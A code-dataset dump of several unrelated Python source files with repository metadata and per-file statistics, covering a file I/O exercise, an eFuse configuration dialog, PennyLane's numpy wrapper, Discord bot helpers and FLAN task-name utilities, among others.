dfe907b1c926cbc8e132c683caef34ffa0bc1619
[ "MIT" ]
null
null
null
cw4/cw4_zad3.py
c-szymanski/wizualizacja-danych
dfe907b1c926cbc8e132c683caef34ffa0bc1619
[ "MIT" ]
null
null
null
cw4/cw4_zad3.py
c-szymanski/wizualizacja-danych
dfe907b1c926cbc8e132c683caef34ffa0bc1619
[ "MIT" ]
null
null
null
with open("zad3.txt", "w") as plik: for i in range(0,11,1): plik.write(str(i)+'\n') with open("zad3.txt", "r") as plik: for i in plik: print(i, end="")
30
36
0.511111
33
180
2.787879
0.606061
0.173913
0.26087
0.326087
0.26087
0
0
0
0
0
0
0.045802
0.272222
180
6
37
30
0.656489
0
0
0
0
0
0.113636
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
94bdd8531190d2e09e1952a800ea2820154d0184
5,814
py
Python
src/ui/ui_efuse_bootcfg1.py
KKKelvin7/NXP-MCUBootUtility
b4cded82aa9d20c2cb718f60493d1226fc999b43
[ "Apache-2.0" ]
null
null
null
src/ui/ui_efuse_bootcfg1.py
KKKelvin7/NXP-MCUBootUtility
b4cded82aa9d20c2cb718f60493d1226fc999b43
[ "Apache-2.0" ]
null
null
null
src/ui/ui_efuse_bootcfg1.py
KKKelvin7/NXP-MCUBootUtility
b4cded82aa9d20c2cb718f60493d1226fc999b43
[ "Apache-2.0" ]
null
null
null
#! /usr/bin/env python # -*- coding: utf-8 -*- import wx import sys import os import uivar sys.path.append(os.path.abspath("..")) from win import efuseWin_BootCfg1 class secBootUiEfuseBootCfg1(efuseWin_BootCfg1.efuseWin_BootCfg1): def __init__(self, parent): efuseWin_BootCfg1.efuseWin_BootCfg1.__init__(self, parent) efuseDict = uivar.getEfuseSettings() self.efuseDict = efuseDict.copy() self._recoverLastSettings() def setNecessaryInfo( self, efuseDescDiffDict ): pass def _recoverLastSettings ( self ): self.m_choice_bit0.Enable( False ) self.m_choice_bit1.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00000002) >> 1) self.m_choice_bit2.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00000004) >> 2) self.m_choice_bit3.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00000008) >> 3) self.m_choice_bit4.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00000010) >> 4) self.m_choice_bit5.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00000020) >> 5) self.m_choice_bit6.Enable( False ) self.m_choice_bit7.Enable( False ) self.m_choice_bit11_8.Enable( False ) self.m_choice_bit13_12.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00003000) >> 12) self.m_choice_bit15_14.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x0000c000) >> 14) self.m_choice_bit16.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00010000) >> 16) self.m_choice_bit17.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00020000) >> 17) self.m_choice_bit18.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00040000) >> 18) self.m_choice_bit19.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00080000) >> 19) self.m_choice_bit20.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00100000) >> 20) self.m_choice_bit21.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00200000) >> 21) self.m_choice_bit23_22.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x00c00000) >> 22) self.m_choice_bit24.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x01000000) >> 24) self.m_choice_bit25.Enable( False ) self.m_choice_bit26.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x04000000) >> 26) self.m_choice_bit27.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x08000000) >> 27) self.m_choice_bit28.Enable( False ) self.m_choice_bit29.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0x20000000) >> 29) self.m_choice_bit31_30.SetSelection((self.efuseDict['0x460_bootCfg1'] & 0xc0000000) >> 30) def _getEfuseWord( self ): # self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfffffffe) | self.m_choice_bit0.GetSelection() self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfffffffd) | (self.m_choice_bit1.GetSelection() << 1) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfffffffb) | (self.m_choice_bit2.GetSelection() << 2) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfffffff7) | (self.m_choice_bit3.GetSelection() << 3) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xffffffef) | (self.m_choice_bit4.GetSelection() << 4) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xffffffdf) | (self.m_choice_bit5.GetSelection() << 5) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xffffcfff) | (self.m_choice_bit13_12.GetSelection() << 12) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xffff3fff) | (self.m_choice_bit15_14.GetSelection() << 14) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfffeffff) | (self.m_choice_bit16.GetSelection() << 16) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfffdffff) | (self.m_choice_bit17.GetSelection() << 17) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfffbffff) | (self.m_choice_bit18.GetSelection() << 18) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfff7ffff) | (self.m_choice_bit19.GetSelection() << 19) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xffefffff) | (self.m_choice_bit20.GetSelection() << 20) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xffdfffff) | (self.m_choice_bit21.GetSelection() << 21) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xff3fffff) | (self.m_choice_bit23_22.GetSelection() << 22) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfeffffff) | (self.m_choice_bit24.GetSelection() << 24) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xfbffffff) | (self.m_choice_bit26.GetSelection() << 26) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xf7ffffff) | (self.m_choice_bit27.GetSelection() << 27) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0xdfffffff) | (self.m_choice_bit29.GetSelection() << 29) self.efuseDict['0x460_bootCfg1'] = (self.efuseDict['0x460_bootCfg1'] & 0x3fffffff) | (self.m_choice_bit31_30.GetSelection() << 30) def callbackOk( self, event ): self._getEfuseWord() uivar.setEfuseSettings(self.efuseDict) uivar.setRuntimeSettings(False) self.Show(False) def callbackCancel( self, event ): uivar.setRuntimeSettings(False) self.Show(False) def callbackClose( self, event ): uivar.setRuntimeSettings(False) self.Show(False)
64.6
138
0.700722
652
5,814
5.980061
0.199387
0.203385
0.272378
0.393434
0.557579
0.304437
0.304437
0.292383
0
0
0
0.133157
0.153939
5,814
89
139
65.325843
0.659484
0.029068
0
0.084507
0
0
0.141819
0
0
0
0.067364
0
0
1
0.098592
false
0.014085
0.070423
0
0.183099
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
94cb289e92109ce54335ee5059bb8bdcad76047a
51
py
Python
python/testData/refactoring/inlineFunction/inlineImportedAs/main.py
markusmo3/intellij-community
dbe64d485d4013a5c3dbeffa39d38ff1f7bcc207
[ "Apache-2.0" ]
null
null
null
python/testData/refactoring/inlineFunction/inlineImportedAs/main.py
markusmo3/intellij-community
dbe64d485d4013a5c3dbeffa39d38ff1f7bcc207
[ "Apache-2.0" ]
null
null
null
python/testData/refactoring/inlineFunction/inlineImportedAs/main.py
markusmo3/intellij-community
dbe64d485d4013a5c3dbeffa39d38ff1f7bcc207
[ "Apache-2.0" ]
null
null
null
from src import foo as bar res = ba<caret>r(1, 2)
12.75
26
0.666667
12
51
2.833333
1
0
0
0
0
0
0
0
0
0
0
0.05
0.215686
51
3
27
17
0.8
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
94e244d7d85e27324f61ceb2bfa983cd7f61f404
618
py
Python
core/recc/container/struct/port_binding_host.py
bogonets/answer
57f892a9841980bcbc35fa1e27521b34cd94bc25
[ "MIT" ]
3
2021-06-20T02:24:10.000Z
2022-01-26T23:55:33.000Z
core/recc/container/struct/port_binding_host.py
bogonets/answer
57f892a9841980bcbc35fa1e27521b34cd94bc25
[ "MIT" ]
null
null
null
core/recc/container/struct/port_binding_host.py
bogonets/answer
57f892a9841980bcbc35fa1e27521b34cd94bc25
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from typing import Union class PortBindingHost: __slots__ = ("ip", "port") ip: str port: int def __init__(self, ip: str, port: Union[int, str]): self.ip = ip if isinstance(port, int): self.port = port else: self.port = int(port) def __str__(self) -> str: return f"{self.ip}:{self.port}" def __repr__(self): return f"PortBindingHost<{self.__str__()}>" def __hash__(self) -> int: return hash(self.__str__()) def __eq__(self, other) -> bool: return hash(self) == hash(other)
19.935484
55
0.55178
76
618
4.065789
0.355263
0.067961
0.058252
0
0
0
0
0
0
0
0
0.002315
0.300971
618
30
56
20.6
0.712963
0.033981
0
0
0
0
0.10084
0.090756
0
0
0
0
0
1
0.263158
false
0
0.052632
0.210526
0.736842
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
94f3f4ad59d686cf6b1e7cece3df17bca6a94c99
3,206
py
Python
pennylane/numpy/__init__.py
therooler/pennylane
88a8a5960a2ffd218a12f85ace632021eef2abf5
[ "Apache-2.0" ]
539
2018-11-13T08:45:42.000Z
2020-07-27T18:17:16.000Z
pennylane/numpy/__init__.py
therooler/pennylane
88a8a5960a2ffd218a12f85ace632021eef2abf5
[ "Apache-2.0" ]
588
2018-11-14T10:21:47.000Z
2020-07-28T06:27:14.000Z
pennylane/numpy/__init__.py
therooler/pennylane
88a8a5960a2ffd218a12f85ace632021eef2abf5
[ "Apache-2.0" ]
165
2018-11-13T18:58:56.000Z
2020-07-27T17:18:17.000Z
# Copyright 2018-2021 Xanadu Quantum Technologies Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Overview -------- The PennyLane NumPy subpackage provides a differentiable wrapper around NumPy, that enables backpropagation through standard NumPy code. This version of NumPy **must** be used when using PennyLane with the :doc:`Autograd interface </introduction/interfaces/numpy>`: >>> from pennylane import numpy as np .. note:: If using other interfaces, such as :doc:`TensorFlow </introduction/interfaces/tf>` :doc:`PyTorch </introduction/interfaces/torch>`, or :doc:`JAX </introduction/interfaces/jax>`, then the PennyLane-provided NumPy should not be used; instead, simply use the standard NumPy import. This package is a wrapper around ``autograd.numpy``; for details on all available functions, please refer to the `Autograd docs <https://github.com/HIPS/autograd/blob/master/docs/tutorial.md>`__. PennyLane additionally extends Autograd with the following classes, errors, and functions: .. autosummary:: :toctree: api :nosignatures: :template: autosummary/class_no_inherited.rst ~wrap_arrays ~extract_tensors ~tensor_wrapper ~tensor ~NonDifferentiableError Caveats ------- This package is a wrapper around ``autograd.numpy``, and therefore comes with several caveats inherited from Autograd: **Do not use:** - Assignment to arrays, such as ``A[0, 0] = x``. .. - Implicit casting of lists to arrays, for example ``A = np.sum([x, y])``. Make sure to explicitly cast to a NumPy array first, i.e., ``A = np.sum(np.array([x, y]))`` instead. .. - ``A.dot(B)`` notation. Use ``np.dot(A, B)`` or ``A @ B`` instead. .. - In-place operations such as ``a += b``. Use ``a = a + b`` instead. .. - Some ``isinstance`` checks, like ``isinstance(x, np.ndarray)`` or ``isinstance(x, tuple)``, without first doing ``from autograd.builtins import isinstance, tuple``. For more details, please consult the `Autograd docs <https://github.com/HIPS/autograd/blob/master/docs/tutorial.md>`__. """ # pylint: disable=wrong-import-position,wildcard-import,undefined-variable from autograd import numpy as _np from autograd.numpy import * from .wrapper import wrap_arrays, extract_tensors, tensor_wrapper wrap_arrays(_np.__dict__, globals()) # Delete the unwrapped fft, linalg, random modules # so that we can re-import our wrapped versions. del fft del linalg del random from . import fft from . import linalg from . import random from .tensor import tensor, NonDifferentiableError, asarray as _asarray asarray = tensor_wrapper(_asarray)
30.826923
101
0.71179
436
3,206
5.183486
0.465596
0.026549
0.011504
0.014159
0.125664
0.125664
0.09292
0.09292
0.057522
0.057522
0
0.005337
0.181847
3,206
103
102
31.126214
0.856271
0.840923
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.583333
0
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
a2198999951f752e1848d11d9f847b132f919597
264
py
Python
adams_che696_proj/__init__.py
xadams/adams_che696_proj
008223cc5399308e9e4826fe6a6732e673fd7682
[ "MIT" ]
null
null
null
adams_che696_proj/__init__.py
xadams/adams_che696_proj
008223cc5399308e9e4826fe6a6732e673fd7682
[ "MIT" ]
null
null
null
adams_che696_proj/__init__.py
xadams/adams_che696_proj
008223cc5399308e9e4826fe6a6732e673fd7682
[ "MIT" ]
null
null
null
""" adams_che696_proj Class project that submits a single line of commands to a cluster """ # Make Python 2 and 3 imports work the same # Safe to remove with Python 3-only code from __future__ import absolute_import # Add imports here from .quick_submit import *
24
65
0.780303
44
264
4.5
0.818182
0
0
0
0
0
0
0
0
0
0
0.027523
0.174242
264
11
66
24
0.880734
0.689394
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
3
a2223e5d6c63f245a29b878eee92f9b14cb0156a
1,844
py
Python
backend/tests/test_api_schemas.py
OpenPaymentNetwork/FerlySite
d4be3700343e82b992555600843305881632e17d
[ "MIT" ]
null
null
null
backend/tests/test_api_schemas.py
OpenPaymentNetwork/FerlySite
d4be3700343e82b992555600843305881632e17d
[ "MIT" ]
null
null
null
backend/tests/test_api_schemas.py
OpenPaymentNetwork/FerlySite
d4be3700343e82b992555600843305881632e17d
[ "MIT" ]
null
null
null
from backend.api_schemas import amount from backend.api_schemas import StrippedString from colander import Decimal as colanderDecimal from colander import Invalid from colander import null from colander import String from decimal import Decimal from unittest import TestCase class TestAmount(TestCase): def _make(self): return amount() def _call(self, amount=''): return self._make().deserialize(amount) def test_required(self): with self.assertRaisesRegex(Invalid, "'amount': 'Required'"): self._call() def test_amount_rounds_up(self): self.assertEqual(self._call(amount=1.455), Decimal('1.46')) def test_amount_rounds_down(self): self.assertEqual(self._call(amount=1.454), Decimal('1.45')) def test_amount_as_string(self): self.assertEqual(self._call(amount='1.02'), Decimal('1.02')) def test_amount_as_number(self): self.assertEqual(self._call(amount=1.02), Decimal('1.02')) def test_is_decimal(self): self.assertTrue(isinstance(self._make().typ, colanderDecimal)) def test_zero(self): with self.assertRaisesRegex(Invalid, "'amount': 'Required'"): self._call() def test_min(self): with self.assertRaisesRegex(Invalid, "0.01 is the minimum"): self._call(amount=0) class TestStrippedString(TestCase): def _call(self, obj): return StrippedString().deserialize(None, obj) def test_is_child_of_string(self): self.assertTrue(issubclass(StrippedString, String)) def test_spaces_are_null(self): self.assertEqual(self._call(' '), null) def test_stripped(self): text = 'text' padded_text = ' {0} '.format(text) self.assertEqual(self._call(padded_text), text) # TODO: TestRecipient # TODO: TestFieldStorage
27.522388
70
0.683297
229
1,844
5.31441
0.279476
0.06327
0.093673
0.113394
0.345933
0.249795
0.249795
0.193919
0.193919
0.193919
0
0.021003
0.199566
1,844
66
71
27.939394
0.803523
0.022777
0
0.093023
0
0
0.051695
0
0
0
0
0.015152
0.255814
1
0.325581
false
0
0.186047
0.069767
0.627907
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
0
0
1
0
0
3
a2283d81d5ea33a1f907f8decccaedd6f990824c
184
py
Python
app/api/composer/models.py
nccr-itmo/FEDOT.Web
9b6f7b66de277ea34d6d5ed621b99a3f938db61b
[ "BSD-3-Clause" ]
23
2020-12-24T11:05:01.000Z
2022-03-31T20:29:12.000Z
app/api/composer/models.py
nccr-itmo/FedotWeb
763fb1f39ad2b69104b6568e6f941c4c67762e34
[ "BSD-3-Clause" ]
42
2021-01-11T09:38:31.000Z
2022-03-25T17:19:05.000Z
app/api/composer/models.py
nccr-itmo/FedotWeb
763fb1f39ad2b69104b6568e6f941c4c67762e34
[ "BSD-3-Clause" ]
5
2021-03-31T04:38:31.000Z
2022-03-31T20:29:26.000Z
from dataclasses import dataclass @dataclass class ComposingHistoryGraph: uid: str dataset_name: str task_name: str is_finished: bool nodes: list edges: list
15.333333
33
0.711957
22
184
5.818182
0.772727
0.109375
0
0
0
0
0
0
0
0
0
0
0.244565
184
11
34
16.727273
0.920863
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.111111
0
0.888889
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
3
bf63490b30f35cc6d4ea592b2358fef9c2283446
31
py
Python
src/nb_exceptions/__init__.py
bmordue/nb
9e2e8de8bdd365c905d0c88f4ae13f8f73a74aff
[ "MIT" ]
null
null
null
src/nb_exceptions/__init__.py
bmordue/nb
9e2e8de8bdd365c905d0c88f4ae13f8f73a74aff
[ "MIT" ]
134
2018-06-13T20:08:04.000Z
2022-03-02T17:18:13.000Z
src/nb_exceptions/__init__.py
bmordue/nb
9e2e8de8bdd365c905d0c88f4ae13f8f73a74aff
[ "MIT" ]
null
null
null
__all__ = ["BlacklistedError"]
15.5
30
0.741935
2
31
9.5
1
0
0
0
0
0
0
0
0
0
0
0
0.096774
31
1
31
31
0.678571
0
0
0
0
0
0.516129
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
bf6cc8981a4df652320e7cf1ee166dca5d881170
5,259
py
Python
core/bot_utility.py
thyanin/Discord_Bot
7cfa1a1056d49e75de9bb3e343d0f81efd30b96d
[ "MIT" ]
null
null
null
core/bot_utility.py
thyanin/Discord_Bot
7cfa1a1056d49e75de9bb3e343d0f81efd30b96d
[ "MIT" ]
null
null
null
core/bot_utility.py
thyanin/Discord_Bot
7cfa1a1056d49e75de9bb3e343d0f81efd30b96d
[ "MIT" ]
null
null
null
import random import re import json import discord from core import consts, timers, play_requests from core.state import global_state as gstate def read_config_file(filename): return json.load(open(f'./config/{filename}.json', 'r')) def create_team(players): num_players = len(players) team1 = random.sample(players, int(num_players / 2)) team2 = players for player in team1: team2.remove(player) teams_message = consts.MESSAGE_TEAM_HEADER teams_message += consts.MESSAGE_TEAM_1 for player in team1: teams_message += player + "\n" teams_message += consts.MESSAGE_TEAM_2 for player in team2: teams_message += player + "\n" return teams_message, team1, team2 # FIXME: this is bs def is_purgeable_message(message, cmds, channel, excepted_users): """ Checks if message should be purged based on if it starts with a specified command cmd and is send in a specfied channel name channel and is from a user excepted user that should not be purged. """ if contains_command(message, tuple(cmds)) and is_in_channel(message, channel): if message.author.name in excepted_users: return False return True return False def create_internal_play_request_message(message, play_request): """ Creates an internal play_request message. """ play_request_time = re.findall('\d\d:\d\d', message.content) intern_message = consts.MESSAGE_CREATE_INTERN_PLAY_REQUEST.format( play_request.message_author.name, 10 - len(gstate.play_requests[message.id]), play_request_time) for player_tuple in gstate.play_requests[message.id]: intern_message += player_tuple[0].name + '\n' return intern_message # TODO: implement this def switch_to_internal_play_request(message, play_request): return create_internal_play_request_message(message, play_request) def has_any_pattern(message): for pattern in consts.PATTERN_LIST_AUTO_REACT: if message.content.find(pattern) > -1: return True return False def has_pattern(message, pattern): if message.content.find(pattern) > -1: return True return False def generate_auto_role_list(member): if len(member.roles) >= 2: return for role in member.guild.roles: if role.id == consts.ROLE_EVERYONE_ID or role.id == consts.ROLE_SETZLING_ID: yield role def get_auto_role_list(member): return list(generate_auto_role_list(member)) def contains_command(message, command): if message.content.startswith(command): return True return False def contains_any_command(message, commands): for command in commands: if message.content.startswith(command): return True return False def is_in_channels(message, channels): for channel in channels: if message.channel.name == channel: return True return False def is_in_channel(message, channel): return message.channel.name == channel def get_voice_channel(message, id): voice_channel = discord.utils.find(lambda x: x.id == id, message.guild.voice_channels) return voice_channel if voice_channel is not None else None def generate_players_in_channel(channel): for member in channel.members: yield member.name def get_players_in_channel(channel): return list(generate_players_in_channel(channel)) def add_subscriber_to_play_request(user, play_request: play_requests.PlayRequest): play_request.add_subscriber_id(user.id) def is_user_bot(user, bot): if user.name in (bot.user.name, "Secret Kraut9 Leader"): return True return False def is_already_subscriber(user, play_request: play_requests.PlayRequest): if user.id in play_request.subscriber_ids: return True return False def is_play_request_author(user_id, play_request: play_requests.PlayRequest): if user_id == play_request.author_id: return True return False def get_purgeable_messages_list(message_cache): messages_list = [] if gstate.CONFIG["TOGGLE_AUTO_DELETE"]: messages_list = [msg for msg in message_cache if timers.is_timer_done(message_cache[msg]["timer"])] return messages_list def is_no_play_request_command(message, bot): if not contains_any_command(message, consts.COMMAND_LIST_PLAY_REQUEST) \ and message.author != bot.user: return True return False def clear_message_cache(message_id, message_cache): if message_id in message_cache: del message_cache[message_id] def clear_play_requests(message): if has_any_pattern(message): del gstate.play_requests[message.id] def pretty_print_list(*players) -> str: pretty_print = '' player_list = list(players[0]) for player_object in player_list: if isinstance(player_object, list): for player in player_object: pretty_print += player + '\n' elif isinstance(player_object, str): pretty_print += player + '\n' return pretty_print def insert_in_message_cache(message_cache, message_id, channel_id, time=10): message_cache[message_id] = { "timer": timers.start_timer(hrs=time), "channel": channel_id }
27.534031
107
0.714204
725
5,259
4.928276
0.208276
0.064652
0.04478
0.058774
0.280437
0.168486
0.121467
0.112511
0.061013
0.061013
0
0.005019
0.204411
5,259
190
108
27.678947
0.848948
0.052101
0
0.252033
0
0
0.02002
0.004853
0
0
0
0.010526
0
1
0.211382
false
0
0.04878
0.04065
0.520325
0.04065
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
0
0
1
0
0
3
bf9225f550e887f2109910c5e1f9fb0ef5471c3b
470
py
Python
GPdoemd/models/__init__.py
scwolof/GPdoemd
485265a66585a8ebe88d1ba3da957199159dbcbf
[ "MIT" ]
28
2018-07-04T21:46:18.000Z
2022-01-10T07:48:59.000Z
GPdoemd/models/__init__.py
scwolof/GPdoemd
485265a66585a8ebe88d1ba3da957199159dbcbf
[ "MIT" ]
1
2018-10-03T22:40:00.000Z
2018-10-04T17:49:49.000Z
GPdoemd/models/__init__.py
scwolof/GPdoemd
485265a66585a8ebe88d1ba3da957199159dbcbf
[ "MIT" ]
5
2018-09-18T18:43:19.000Z
2020-11-28T22:07:22.000Z
from .model import Model from .analytic_model import AnalyticModel from .numerical_model import NumericalModel from .surrogate_model import SurrogateModel from .gp_model import GPModel from .sparse_gp_model import SparseGPModel try: import gp_grief.models from .gp_grief_model import GPGriefModel except: print('Could not import GPGriefModel - ensure gp_grief package is installed.') print('NOTE: install forked version from https://github.com/scwolof/gp_grief')
29.375
79
0.825532
65
470
5.8
0.507692
0.204244
0.068966
0
0
0
0
0
0
0
0
0
0.117021
470
16
80
29.375
0.908434
0
0
0
0
0
0.293617
0
0
0
0
0
0
1
0
true
0
0.75
0
0.75
0.166667
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
3
bf9e89089c56ed1f54a2daca274ed61b60f227de
6,053
py
Python
flan/utils.py
purn3ndu/FLAN
3770e8379f1766eab4e2875ea1a829a074389b59
[ "Apache-2.0" ]
206
2021-09-07T18:20:23.000Z
2022-03-30T08:38:06.000Z
flan/utils.py
purn3ndu/FLAN
3770e8379f1766eab4e2875ea1a829a074389b59
[ "Apache-2.0" ]
1
2022-02-28T13:30:26.000Z
2022-02-28T13:30:26.000Z
flan/utils.py
purn3ndu/FLAN
3770e8379f1766eab4e2875ea1a829a074389b59
[ "Apache-2.0" ]
20
2021-09-08T12:54:56.000Z
2022-02-25T10:07:35.000Z
# Copyright 2021 The FLAN Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Utility functions for FLAN.""" import abc import re from typing import Optional import numpy as np from flan import templates def is_classification(flan_pattern_name: str): """Returns if the task is a classification task.""" # ReCoRD task has variable length options, so it is not called options in # the input pattern. But it is classification. if flan_pattern_name == 'record': return True input_patterns = [p[0] for p in templates.PATTERNS[flan_pattern_name]] return np.any(['{options_}' in pattern for pattern in input_patterns]) class SeqioTaskName(metaclass=abc.ABCMeta): """Abstract class for seqio task name.""" @abc.abstractclassmethod def get(cls, *args): """Returns task name.""" raise NotImplementedError @abc.abstractclassmethod def parse(cls, task_name: str): """Returns task name.""" raise NotImplementedError @abc.abstractclassmethod def match(cls, task_name: str) -> Optional[re.Match]: """Returns the match object if `task_name` matches the name pattern.""" raise NotImplementedError class ZeroshotEvalTaskName(SeqioTaskName): """Task name for zeroshot eval.""" @classmethod def get(cls, t_name: str, template_id: int) -> str: return f'{t_name}_type_{template_id}' @classmethod def parse(cls, task_name): match = cls.match(task_name) return match[1], int(match[2]) @classmethod def match(cls, task_name) -> Optional[re.Match]: return re.fullmatch(r'^(.+)_type_(\d+)$', task_name) class ZeroshotScoreEvalTaskName(SeqioTaskName): """Task name for zeroshot scoring eval.""" @classmethod def get(cls, t_name: str, template_id: int) -> str: return f'{t_name}_type_{template_id}_scoring_eval' @classmethod def parse(cls, task_name): match = cls.match(task_name) return match[1], int(match[2]) @classmethod def match(cls, task_name) -> Optional[re.Match]: return re.fullmatch(r'^(.+)_type_(\d+)_scoring_eval$', task_name) class ZeroshotScoreEvalNoOptionTaskName(SeqioTaskName): """Task name for zeroshot scoring eval without options.""" @classmethod def get(cls, t_name: str, template_id: int) -> str: return f'{t_name}_type_{template_id}_score_eval_no_options' @classmethod def parse(cls, task_name): match = cls.match(task_name) return match[1], int(match[2]) @classmethod def match(cls, task_name) -> Optional[re.Match]: return re.fullmatch(r'^(.+)_type_(\d+)_score_eval_no_options$', task_name) class ZeroshotScoreFLANNoOptionTaskName(SeqioTaskName): """Task name for zeroshot scoring eval without options.""" @classmethod def get(cls, t_name: str, template_id: int) -> str: return f'{t_name}_type_{template_id}_score_flan_no_options' @classmethod def parse(cls, task_name): match = cls.match(task_name) return match[1], int(match[2]) @classmethod def match(cls, task_name) -> Optional[re.Match]: return re.fullmatch(r'^(.+)_type_(\d+)_score_flan_no_options$', task_name) class AllPromptsTaskName(SeqioTaskName): """Task name for the training job realized from all prompts.""" @classmethod def get(cls, t_name: str) -> str: return f'{t_name}_all_prompts' @classmethod def parse(cls, task_name): match = cls.match(task_name) return match[1] @classmethod def match(cls, task_name) -> Optional[re.Match]: return re.fullmatch(r'^(.+)_all_prompts', task_name) class ZeroshotTemplatedTaskName(SeqioTaskName): """Zeroshot task name with number of realized templates.""" @classmethod def get(cls, t_name: str, num_templates: int) -> str: return f'{t_name}_{num_templates}templates' @classmethod def parse(cls, task_name): match = cls.match(task_name) return match[1], int(match[2]) @classmethod def match(cls, task_name) -> Optional[re.Match]: return re.fullmatch(r'^(.+)_(\d+)templates$', task_name) class XshotTemplatedTaskName(SeqioTaskName): """Zeroshot task name with number of realized templates.""" @classmethod def get(cls, t_name: str, num_templates: int, num_shot: str) -> str: return f'{t_name}_{num_templates}templates_{num_shot}_shot' @classmethod def parse(cls, task_name): match = cls.match(task_name) return match[1], int(match[2]), match[3] @classmethod def match(cls, task_name) -> Optional[re.Match]: return re.fullmatch(r'^(.+)_(\d+)templates_([a-z]+)_shot$', task_name) def remove_input_patterns_options(input_pattern: str) -> str: """Remove options from the input pattern.""" no_options_pattern = input_pattern.replace('{options_}', '') no_options_pattern = no_options_pattern.replace('{options_str}', '').strip() return 